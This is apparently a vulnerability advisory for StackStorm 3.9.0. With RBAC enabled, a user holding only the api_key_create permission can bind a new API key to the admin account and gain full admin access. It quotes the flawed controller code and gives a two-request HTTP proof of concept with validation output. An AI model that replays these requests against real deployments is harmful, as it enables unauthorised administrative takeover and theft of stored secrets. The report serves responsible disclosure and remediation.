| Description | API key creation allows a non-admin to bind a key to any user and gain that user's privileges (privilege escalation to admin)
### Summary
When RBAC is enabled, any StackStorm user who has been granted the `api_key_create` permission can create an API key bound to an arbitrary `user` value, including a full administrator account such as `st2admin`. Because an API key authenticates as the user it is bound to ("Each API key object is scoped to the user and inherits permissions from that user"), the attacker can then authenticate with that key and operate as the impersonated user. This is a direct privilege escalation: a low-privileged account with only the `api_key_create` grant can mint an admin-scoped API key and obtain full administrative access to the StackStorm API.
The root cause is that the API key controller trusts the request-body `user` field verbatim and never asserts that the requester is allowed to act for that user, and the enterprise `api_key_create` permission check is a global permission check that does not inspect the requested `user` value. Sibling controllers that accept a user-controlled `user` field (rules, executions) call `assert_user_is_admin_if_user_query_param_is_provided`; the API key controller does not.
### Details
API keys carry the identity an authenticated request runs as. In `st2common/st2common/models/db/auth.py` the `ApiKeyDB` model documents this:
```
class ApiKeyDB(...):
# Each API key object is scoped to the user and inherits permissions from that user.
user = me.StringField(required=True)
```
When a request authenticates with an API key, the router resolves the request principal from the key's `user` field. In `st2common/st2common/router.py` (around lines 367-377):
```python
if token:
_, auth_func = op_resolver(definition["x-operationId"])
auth_resp = auth_func(token) # returns the ApiKeyDB
...
context["user"] = User.get_by_name(auth_resp.user) # principal = key.user
```
So whoever controls the `user` field stored on an API key controls the identity all requests made with that key run as.
The API key is created in `st2api/st2api/controllers/v1/auth.py`, `ApiKeyController.post` (lines 129-180):
```python
def post(self, api_key_api, requester_user):
permission_type = PermissionType.API_KEY_CREATE
rbac_utils = get_rbac_backend().get_utils_class()
rbac_utils.assert_user_has_resource_api_permission(
user_db=requester_user,
resource_api=api_key_api,
permission_type=permission_type,
)
...
if not getattr(api_key_api, "user", None):
if requester_user:
api_key_api.user = requester_user.name
else:
api_key_api.user = cfg.CONF.system_user.user
...
api_key_db = ApiKey.add_or_update(ApiKeyAPI.to_model(api_key_api))
```
The only defaulting is "if the caller did not supply `user`, use the requester's name." If the caller DOES supply `user`, it is used verbatim. There is no call to `assert_user_is_admin_if_user_query_param_is_provided` (the guard used by `rules.py` at lines 137 and 201, and by the executions and keyvalue controllers), so the requested `user` is never constrained to the requester.
The only authorization is `assert_user_has_resource_api_permission(API_KEY_CREATE)`. In the official enterprise backend `st2-rbac-backend`, `ApiKeyPermissionResolver.user_has_resource_api_permission` (st2rbac_backend/resolvers.py) is:
```python
def user_has_resource_api_permission(self, user_db, resource_api, permission_type):
assert permission_type in [PermissionType.API_KEY_CREATE]
return self._user_has_global_permission(user_db=user_db, permission_type=permission_type)
```
`_user_has_global_permission` only checks whether the user has the global `api_key_create` grant. It never inspects `resource_api.user`. `API_KEY_CREATE` is a `GLOBAL_PERMISSION_TYPE` (st2common/st2common/rbac/types.py), meaning it is a normal grant that an administrator can hand to a custom, non-admin role (for example, so that automation users can self-service API keys).
The result: a user with only the `api_key_create` grant passes the check, and the unconstrained `user` field lets them bind the new key to `st2admin` (or any other account). Authenticating with that key then runs every request as the impersonated user.
The same unconstrained `user` field is also present in `put` (lines 182-223), which trusts `api_key_api.user` with no admin gate.
### PoC
Prerequisites: a StackStorm 3.9.0 deployment with RBAC enabled (`[rbac] enable = True`, `backend = default`, the `st2-rbac-backend` package installed). An administrator has granted a low-privileged user `lowpriv` a custom role whose only grant is the global `api_key_create` permission. The administrator account `st2admin` exists with the `system_admin` role.
Step 1 - As `lowpriv`, create an API key bound to the admin account:
```
POST /api/v1/apikeys HTTP/1.1
Host: stackstorm
X-Auth-Token: <lowpriv_token>
Content-Type: application/json
{"user": "st2admin", "metadata": {"note": "x"}}
Response: 201 Created
{
"id": "....",
"user": "st2admin",
"key": "<PLAINTEXT_API_KEY>",
"enabled": true
}
```
The key is returned in plaintext exactly once, and it is bound to `st2admin`.
Step 2 - Authenticate with the new key and act as admin:
```
GET /api/v1/rbac/roles HTTP/1.1
Host: stackstorm
St2-Api-Key: <PLAINTEXT_API_KEY>
Response: 200 OK (admin-only endpoint succeeds; request runs as st2admin)
```
Any administrator-restricted operation (managing roles, reading every user's datastore, running or re-running actions as admin, decrypting system secrets, modifying any pack/rule) is now available, because the router sets `context["user"] = User.get_by_name(api_key_db.user)` = `st2admin`.
Live validation (in-process against the official `stackstorm/st2:3.9` image, st2 3.9.0 plus st2-rbac-backend 3.9.dev0, real MongoDB, RBAC enabled). The real `ApiKeyController.post`, the real `ApiKeyPermissionResolver`, and the real `validate_api_key` resolution were driven directly:
```
RBAC backend in use: st2rbac_backend.backend
lowpriv user_is_admin : False
admin user_is_admin : True
resolver allows lowpriv to CREATE key with user=st2admin : True
bound user field : st2admin
api_key_db.user : st2admin
resolved principal for requests made with this key : st2admin
principal user_is_admin : True
RESULT: PRIVILEGE ESCALATION CONFIRMED
```
`lowpriv` (not an admin, only the `api_key_create` grant) created an API key whose `user` is `st2admin`, and the auth path that the router uses resolves that key's principal to `st2admin`, who is an administrator.
### Impact
Any StackStorm account that has been granted the `api_key_create` permission (a normal, delegable global grant intended only to let users create keys for themselves) can escalate to full administrator. The attacker creates an API key with `"user": "st2admin"`, then authenticates with it and inherits the administrator's permissions across the entire API: managing RBAC roles and grants, reading and decrypting any user's or the system datastore secrets, running and re-running actions and workflows as admin, and modifying any pack, rule, or sensor. Because the impersonated identity is also what audit logs record, the actions are attributed to the impersonated user. This is a confidentiality and integrity compromise of the whole StackStorm installation and of every credential it stores. |
|---|